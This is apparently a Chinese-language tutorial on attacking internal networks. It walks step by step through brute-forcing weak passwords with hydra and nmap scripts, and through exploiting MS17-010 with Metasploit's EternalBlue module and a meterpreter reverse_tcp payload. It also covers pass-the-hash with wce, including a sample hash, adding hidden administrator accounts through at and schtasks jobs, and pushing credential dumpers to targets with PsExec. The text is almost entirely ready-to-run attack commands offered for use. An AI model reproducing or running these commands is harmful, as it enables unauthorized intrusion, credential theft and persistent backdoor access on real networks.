端口扫描
常见端口以及攻击方式
具体扫描方法点此跳转我的另一文章,里面详细介绍了端口扫描工具的使用
弱口令扫描
弱口令扫描,例如对于mysql,vnc,rdp,http管理登录等弱口令进入的服务,可以使用一些弱口令扫描工具,xscan,hydra,medusa,nmap等。也可以自己找到更多更好的工具
hydra
1.先用nmap扫描开放了哪些端口
2.使用hydra对可以进行弱口令扫描的端口进行进行扫描
hydra -L user.txt -P pass.txt 192.168.16.137(爆破的ip) smb(爆破的服务名)
-l 指定爆破用户名 -L 指定爆破的用户名字典 -p指定爆破的密码 -P 指定爆破的密码字典
nmap脚本
脚本路径:namp安装目录下的scripts
爆破脚本:brute 漏洞探测脚本:vuln
使用
nmap -p 脚本正针对的端口 --script 脚本名 要攻击的ip
msfconsole
1.输入msfconsole进入
2.查看对应漏洞可用的脚本
search 17_010
3.查看一些漏洞扫描脚本
use auxiliary/scanner/
4.利用指定的脚本扫描内网网段里存在漏洞的机器
use auxiliary/scanner/smb/smb_ms17_010
set threads 10
set rhosts 要扫描的网段/24
exploit
5.选择合适的exp攻击存在漏洞的机器
use exploit/windows/smb/ms17_010_eternalblue
set lhost 本机ip
set rhosts 要攻击的ip/32
set payload windows/x64/meterpreter/reverse_tcp
exploit
hash注入
原理
hash注入的原理是将我们预备好的目标机器的本地或者是域用户hash注入到本地的认证进程lsass.exe中去,使得本地在使用ipc登录目标机器的时候就如同自己登录自己的机器一样获得权限。至于目标机器的本地或者是域用户hash如何取得那就要发挥你自己的想象力了,hash注入本身是为了对付那些破解不了的NTLM HASH
方法
1.先使用wce获取一台内网机器的hash值,太复杂无法破解
wce -l
2.由于使用习惯,许多情况下内网很多机器的密码是一样的(密码一致时哈希值也是一样的)
3.在其他机器尝试用拿到的hash来登陆,如果账号密码一样就可登陆
1.获取目标机名或者域名
ping -a 目标机ip
2.利用之前获取的hash值登陆,没有ntlmhash可用0代替
wce.exe -s Administrator:WIN-P68FLB30G1I:B73A13E9B7832A35AAD3B435B51404EE:AFFFEBA176210FAD4628F0524BFE1942
3.远程访问目标机c盘默认共享文件
dir \\目标机ip\c$
4.将目标机的c盘映射到本地
net use z: \\目标机ip\c$
远程连接&执行程序
添加计划任务
at计划任务
注意
使用情形:拿到目标机的账号密码但是无法远程桌面连接
需要开启Task Scheduler服务
1.利用IPC$默认共享远程连接目标机
net use \\目标机ip /user:administrator 密码
2.查看目标机的时间
net time \\目标机ip
3.添加at计划任务执行
3.1直接执行命令
at \\目标机ip 时间 命令
例:
创建用户
at \\192.168.16.158 12:50 net user zs 123.com /add
将用户添加到管理员组
at \\192.168.16.158 12:50 localgroup administrators zs /add
3.2使用脚本
新建一个bat文件,内容为新建一个用户,并将其加入管理员组
将bat文件复制到目标机
copy 1.bat \\目标机ip\c$\1.bat
添加计划任务运行此脚本
at \\目标机ip 时间 脚本路径
4.查看目标机所有at任务列表
at \\192.168.16.158
添加schtasks计划任务执行
注意
使用情形:拿到目标机的账号密码但是无法远程桌面连接
需要开启Task Scheduler服务 2003之后的系统才可以使用
1.新建一个bat文件,内容为新建一个用户,并将其加入管理员组
2.利用IPC$默认共享远程连接目标机
net use \\目标机ip /user:administrator 密码
3.将bat文件复制到目标机
copy 1.bat \\目标机ip\c$\1.bat
4.查看目标机的时间
net time \\目标机ip
5.输入以下命令添加schtasks计划任务
schtasks /create /tn aa /tr 脚本路径 /sc once /st 时间 /S 目标机ip /U 用户名 /P 密码 /RU system
加上/RU system是以系统用户执行,也可去掉, 脚本路径也可替换为单个命令
6.直接执行一个没有执行的计划任务
schtasks /run /tn 计划任务名 /s 目标机ip /u 用户名 /p 密码
7.删除计划任务
schtasks /F /delete /tn 计划任务名 /s 目标机ip /u 用户名 /p 密码
psexec远程执行
1.利用远程上传本地软件到目标机
net use \\目标机ip\c$ /user:administrator 密码
copy wce.exe \\目标机ip\c$\
2.执行目标机本地的程序
PsExec.exe \\目标机ip –accepteula -u 用户 -p 密码 执行的程序
第一次运行会弹框,输入–accepteula这个参数就可以绕过
3.利用psexec自带的参数上传本地程序到目标机,执行完后自动删除
Psexec.exe \\目标机ip -u 用户 -p 密码 -c QuarksPwDump.exe -d
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回